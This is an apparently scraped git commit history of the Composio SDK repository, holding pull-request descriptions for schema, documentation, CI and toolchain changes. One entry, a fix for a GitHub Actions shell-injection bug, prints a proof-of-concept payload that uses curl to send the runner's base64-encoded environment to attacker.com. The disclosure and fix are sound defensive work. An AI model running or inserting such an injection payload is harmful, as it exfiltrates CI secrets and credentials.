Unit tests in `sanitize-keys.test.ts` cover: illegal-character
rewriting, `.`/`-` preservation, deterministic length truncation,
same-level collision, nested recursion, array `items` (single + tuple),
no-mutation, the cross-level collision regression (#2 above), the
`wrapTool` → `executeToolCall` round-trip, and the JSON-string-input →
normalize → restore composition (#1 above / issue #2406).
> ⚠️ The full vitest suite could not run in my local environment due to
a workspace toolchain drift (a stale `node_modules` link made
`@composio/core` fail to resolve `picocolors`). The dependency-free
sanitizer logic was verified in isolation (including a counter-check
proving the old flat mapping corrupted the nested key), and `tsc
--noEmit` on the provider sources is clean. Please confirm CI is green
before merging.
---------
Co-authored-by: serhiizghama <zmrser@gmail.com>
|
||
|
|
aaabf5e2a6 |
fix(mastra): relax output schema so API nulls and extra keys pass validation (#3585)
## Problem Closes #3047. `MastraProvider.wrapTool` passes each tool's `outputParameters` to Mastra's `createTool` as `outputSchema`, and Mastra validates every tool result against it via `validateToolOutput` — on a mismatch it **drops the data and substitutes an error**. Composio's API-supplied output schemas are strict: optional fields are typed as non-nullable primitives (`{ type: "string" }`) and objects carry `additionalProperties: false`. Real third-party APIs (Linear, Notion, Jira, Slack, …) routinely return `null` for unset optional fields (`avatarUrl`, `assignee`, `description`, …) and occasionally extra keys. So strict validation rejects perfectly good responses and **truncates the tool output the model sees** — affecting a wide range of connector tools. This is the recommended fix (#2) from the issue: output validation of opaque third-party pass-through payloads provides little value and causes real breakage. ## What this changes A new `relaxOutputSchema` helper walks the (already dereferenced) output JSON schema and, non-mutating: - makes every typed node nullable — `type: "string"` → `["string", "null"]` (handles string and array forms, idempotent) - sets `additionalProperties: true` on object nodes that forbid (or omit) extra keys; a schema-valued `additionalProperties` is preserved and recursed into - recurses through `properties`, `patternProperties`, `items`, `anyOf`/`oneOf`/`allOf`, `$defs`/`definitions`, etc. `wrapTool` applies it to the output schema only (input schemas are untouched) before handing it to `@mastra/schema-compat`. ## Why this approach Both transforms only **widen** what validates, so any payload that passed before still passes — there is no behavioural change for already-valid output, and no breaking change. It keeps the existing `dereferenceJsonSchema` → `applyCompatLayer` pipeline intact and adds one focused, unit-tested step. The `$ref`/`$defs` type-preservation behaviour from the existing regression suite is retained (the dereferenced inner type is kept, just made nullable). ## Testing - New `test/relax-output-schema.test.ts` — 11 unit cases (nullable primitives, idempotency, nested objects, `additionalProperties` flip/preserve, array items, `anyOf` branches, empty schema, non-mutation, pass-through of non-objects). - Updated existing `mastra.test.ts` / `mastra-ref.test.ts` assertions to reflect the relaxed output shape. - `pnpm test` → 64/64 passing. `pnpm typecheck` and `pnpm build` clean; eslint/prettier clean on changed files. --------- Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com> Co-authored-by: jkomyno <alberto@composio.dev> |
||
|
|
15ccdeac76 |
docs: clarify Notion reconnect expiry (#3606)
## Summary - Add a concise Notion FAQ entry for the multi-agent reconnect workflow - Explain that reconnecting the same Notion user through the same Notion OAuth app can invalidate the older refresh token - Recommend reusing one active Notion connection per user/workspace/OAuth app across agents or projects ## Verification - `git diff --check` Co-authored-by: sjd9021 <samvit@hotmail.com> Co-authored-by: jkomyno <alberto@composio.dev> |
||
|
|
552859adc2 |
fix(core): expose auth config list search filters (#3647)
This PR: - exposes `search` and `showDisabled` on `authConfigs.list()` - forwards those filters to the generated `@composio/client` as `search` and `show_disabled` - documents the filters and adds a core changeset - covers forwarding in `AuthConfigs` tests |
||
|
|
b2efc824f6 |
fix(ci): prevent shell injection via version input in cli.test-installation.yml (#3594)
## Summary
Fixes a **GitHub Actions script (shell) injection** in
`.github/workflows/cli.test-installation.yml`. The `version` input — and
the `release_tag` output derived from it — were interpolated with `${{
}}` **directly into `run:` shell bodies**, so GitHub Actions substituted
the value into the script *source* before bash parsed it. Shell
metacharacters in the input therefore became executable code on the
runner.
PoC (`version` input): `"; curl http://attacker.com/$(env | base64) #`
rendered as:
```bash
raw_input=""; curl http://attacker.com/$(env | base64) #"
```
→ arbitrary command execution on the runner.
Reported via our bug-bounty inbox (credit: **@arrancarcero**). Internal
tracking: **SEC-585**.
## Fix
Pass each value through `env:` so the shell receives it as an inert
environment variable, never re-parsed as source — the same pattern
already used in `build-cli-binaries.yml`. Three sites:
| Step | Was inline | Now via `env:` |
|------|-----------|----------------|
| Resolve and validate target release | `inputs.version` |
`VERSION_INPUT` |
| Test install script (specific version) | `release_tag` | `RELEASE_TAG`
|
| Test custom install directory | `use_latest`, `release_tag` |
`USE_LATEST`, `RELEASE_TAG` |
Net change: **+9 / −4 lines**, single file.
## Behaviour & safety verification
- **`actionlint`** (1.7.12): no new real findings vs. the pre-change
baseline (the only count deltas are info/style shellcheck artifacts on
byte-identical, untouched blocks whose line numbers shifted).
- **YAML** parses cleanly.
- **Functional (bash)** — all legitimate inputs resolve identically:
- empty (push event) → `use_latest=true`
- `latest` → `use_latest=true`
- `1.2.3`, `1.2.3-beta.1` → `@composio/cli@<ver>`
- `@composio/cli@1.2.3` → passthrough
- malicious payload → treated as an **invalid version string** (no
command executed)
- No behaviour change for any valid trigger (`workflow_dispatch`,
`workflow_call`, tag `push`).
## Notes / optional follow-ups (not in this PR)
- Consider adding a least-privilege `permissions: { contents: read }`
block (mirrors `build-cli-binaries.yml`).
- The `workflow_call`/`push` `else` fallthrough still passes
unrecognized inputs through to `release_tag`; tightening it would reject
bad input at the source as well. Left out here to keep the fix minimal
and behaviour-preserving.
Co-authored-by: Saransh Rana <security@composio.dev>
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com>
|
||
|
|
f8cd90ce5a |
chore(ts): adopt Node 24 and pnpm 11 toolchain (#3646)
This PR: - uses plain `tsdown` package scripts and a shared typed `tsdown.config.base.ts` so Node 24 builds work without loader flags - switches the repo dev/build toolchain to Node `24.17.0` and pnpm `11.8.0` through `mise.toml`, `mise.lock`, and `pnpm-lock.yaml` - marks the root package as ESM with `type: module`, matching the TypeScript packages - keeps Node `22.22.3` in the runtime/E2E matrices as the minimum supported user runtime - changes the TypeScript build workflow back to a single build on the mise-managed toolchain and broadens path filters for package-manager/build config files - adds pnpm 11 build-script policy with `allowBuilds` and intentionally ignored `sharp` builds - enables tsdown ESM shims for the packaged CLI wrapper so `composio --help` runs under Node 22 and Node 24 Verified locally: - `CI=true pnpm install --frozen-lockfile` - `pnpm lint` - `pnpm run build:packages` - `COMPOSIO_E2E_NODE_VERSION=22.22.3 pnpm --filter @e2e-tests/node-esm-basic --filter @e2e-tests/node-cjs-basic run test:e2e:node` - `node ts/packages/cli/bin/composio.mjs --help` under Node `22.22.3` and `24.17.0`@composio/cli@0.2.32-beta.273 |
||
|
|
17fe881059 |
fix: apply automated code update (#3600)
This pull request contains an automated code update generated by Hex. Please review the diff carefully before merging. --- _Generated by Hex Security. Please review carefully before merging._ --------- Co-authored-by: Hex Security <255204168+hex-security-app[bot]@users.noreply.github.com> Co-authored-by: jkomyno <alberto@composio.dev>@composio/cli@0.2.32-beta.272 |
||
|
|
446c6f65bf |
fix(cli): unify virtual TypeScript compiler host resolution (#3182)
## Summary This PR resolves the TODO in `ts/packages/cli/src/generation/typescript/transpile.ts` by extracting the shared virtual TypeScript compiler-host logic used by both production transpilation and test validation. While doing that refactor, it also fixes a real virtual module-resolution issue: TypeScript may resolve in-memory files using `./file.ts`, `file.ts`, or absolute paths, and the previous setup did not handle those lookups consistently. ## Changes - added `ts/packages/cli/src/generation/typescript/virtual-compiler-host.ts` - extracted shared helpers for virtual file-map creation, compiler-host patching, and diagnostic formatting - updated `ts/packages/cli/src/generation/typescript/transpile.ts` to use the shared helper - updated `ts/packages/cli/test/__utils__/typescript-compiler.ts` to use the same shared helper - updated affected tests to validate complete generated module sets instead of incomplete single-file inputs - added a patch changeset for `@composio/cli` ## Type of change - [x] Bug fix - [x] Refactor/Chore ## How Has This Been Tested? Ran focused checks on the touched CLI TypeScript generation/compiler-host paths: ```bash pnpm --dir ts/packages/cli exec prettier --check src/generation/typescript/transpile.ts src/generation/typescript/virtual-compiler-host.ts test/__utils__/typescript-compiler.ts test/src/generation/typescript/generate.test.ts test/src/commands/ts/ts.generate.cmd.test.ts pnpm --dir ts/packages/cli exec vitest run test/__utils__/typescript-compiler.ts pnpm --dir ts/packages/cli exec vitest run test/src/generation/typescript/generate.test.ts --------- Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com> Co-authored-by: jkomyno <alberto@composio.dev>@composio/cli@0.2.32-beta.271 |